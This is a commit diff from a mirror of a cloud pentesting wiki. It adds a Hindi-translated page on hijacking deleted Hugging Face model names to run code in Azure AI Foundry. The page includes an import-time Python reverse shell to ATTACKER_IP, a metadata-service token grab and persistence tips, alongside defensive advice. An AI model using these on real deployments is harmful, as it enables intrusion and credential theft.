mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-08 19:30:51 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp
This commit is contained in:
@@ -1,3 +1,9 @@
|
||||
# Az - Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#ref}}
|
||||
az-azure-ai-foundry-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,94 @@
|
||||
# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## परिदृश्य
|
||||
|
||||
- Azure AI Foundry Model Catalog में one-click deployment के लिए कई Hugging Face (HF) मॉडल शामिल हैं।
|
||||
- HF model identifiers Author/ModelName हैं। यदि कोई HF author/org deleted हो जाता है, तो कोई भी उस author को फिर से रजिस्टर कर सकता है और उसी ModelName के साथ legacy path पर मॉडल प्रकाशित कर सकता है।
|
||||
- सिर्फ name के आधार पर pull करने वाले pipelines और catalogs (no commit pinning/integrity) attacker-controlled repos की ओर resolve होंगे। जब Azure मॉडल को deploy करता है, तो loader code endpoint environment में execute कर सकता है, जिससे उस endpoint की permissions के साथ RCE मिल सकती है।
|
||||
|
||||
सामान्य HF takeover केस:
|
||||
- Ownership deletion: पुराना path takeover तक 404 रहता है।
|
||||
- Ownership transfer: जब तक पुराना author मौजूद है, पुराना path नए author की ओर 307 redirect करता है। अगर बाद में पुराना author delete और फिर से re-register कर दिया जाता है, तो redirect टूट जाता है और attacker की repo legacy path पर serve करने लगती है।
|
||||
|
||||
## Reusable Namespaces (HF) की पहचान
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
|
||||
|
||||
# Check model path
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 -> redirect (transfer case), 404 -> deleted until takeover
|
||||
```
|
||||
## End-to-end Attack Flow against Azure AI Foundry
|
||||
|
||||
1) Model Catalog में उन HF models को ढूंढें जिनके original authors HF पर deleted या transferred हो चुके हैं (old author removed)।
|
||||
2) HF पर abandoned author को पुनः register करें और ModelName को recreate करें।
|
||||
3) एक malicious repo प्रकाशित करें जिसमें loader code हो जो import पर execute होता है या जिसके लिए trust_remote_code=True आवश्यक हो।
|
||||
4) Azure AI Foundry से legacy Author/ModelName को deploy करें। प्लेटफ़ॉर्म attacker repo को pull करता है; loader Azure endpoint container/VM के अंदर execute होता है, जिससे endpoint permissions के साथ RCE प्राप्त होती है।
|
||||
|
||||
Import पर execute होने वाला example payload fragment (केवल demonstration के लिए):
|
||||
```python
|
||||
# __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
|
||||
def _rs(host, port):
|
||||
s = socket.socket(); s.connect((host, port))
|
||||
for fd in (0,1,2):
|
||||
try:
|
||||
os.dup2(s.fileno(), fd)
|
||||
except Exception:
|
||||
pass
|
||||
subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images
|
||||
|
||||
if os.environ.get("AZUREML_ENDPOINT","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
नोट्स
|
||||
- AI Foundry deployments जो HF के साथ integrate होते हैं, आम तौर पर मॉडल की config में referenced repo modules (जैसे auto_map) को clone और import करते हैं, जो code execution trigger कर सकते हैं। कुछ paths पर trust_remote_code=True की ज़रूरत होती है।
|
||||
- Access आमतौर पर endpoint की managed identity/service principal permissions के अनुरूप होता है। इसे Azure के भीतर data access और lateral movement के लिए initial access foothold के रूप में मानें।
|
||||
|
||||
## Post-Exploitation Tips (Azure Endpoint)
|
||||
|
||||
- Environment variables और MSI endpoints में tokens के लिए enumerate करें:
|
||||
```bash
|
||||
# Azure Instance Metadata Service (inside Azure compute)
|
||||
curl -H "Metadata: true" \
|
||||
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
|
||||
```
|
||||
- acquired token के साथ mounted storage, model artifacts, और reachable Azure services की जाँच करें।
|
||||
- यदि platform HF से पुनः re-pull करती है तो persistence के लिए poisoned model artifacts छोड़ने पर विचार करें।
|
||||
|
||||
## Azure AI Foundry उपयोगकर्ताओं के लिए रक्षात्मक मार्गदर्शन
|
||||
|
||||
- Pin models by commit when loading from HF:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- सत्यापित HF models को एक विश्वसनीय आंतरिक registry में mirror करें और वहीं से deploy करें।
|
||||
- लगातार codebases और defaults/docstrings/notebooks को scan करें ताकि hard-coded Author/ModelName जो deleted/transferred हों पता चलें; उन्हें update या pin करें।
|
||||
- डिप्लॉयमेंट से पहले लेखक की मौजूदगी और मॉडल की उत्पत्ति सत्यापित करें।
|
||||
|
||||
## पहचान हीयूरिस्टिक्स (HTTP)
|
||||
|
||||
- Deleted author: लेखक पेज 404; legacy model path 404 रहेगा जब तक takeover न हो।
|
||||
- Transferred model: legacy path 307 नए लेखक की ओर जाता है जबकि पुराना लेखक मौजूद है; अगर बाद में पुराना लेखक हटाया गया और पुनः पंजीकृत हुआ, तो legacy path attacker content सर्व करेगा।
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## पार-संदर्भ
|
||||
|
||||
- विस्तृत कार्यप्रणाली और सप्लाई-चेन नोट्स देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user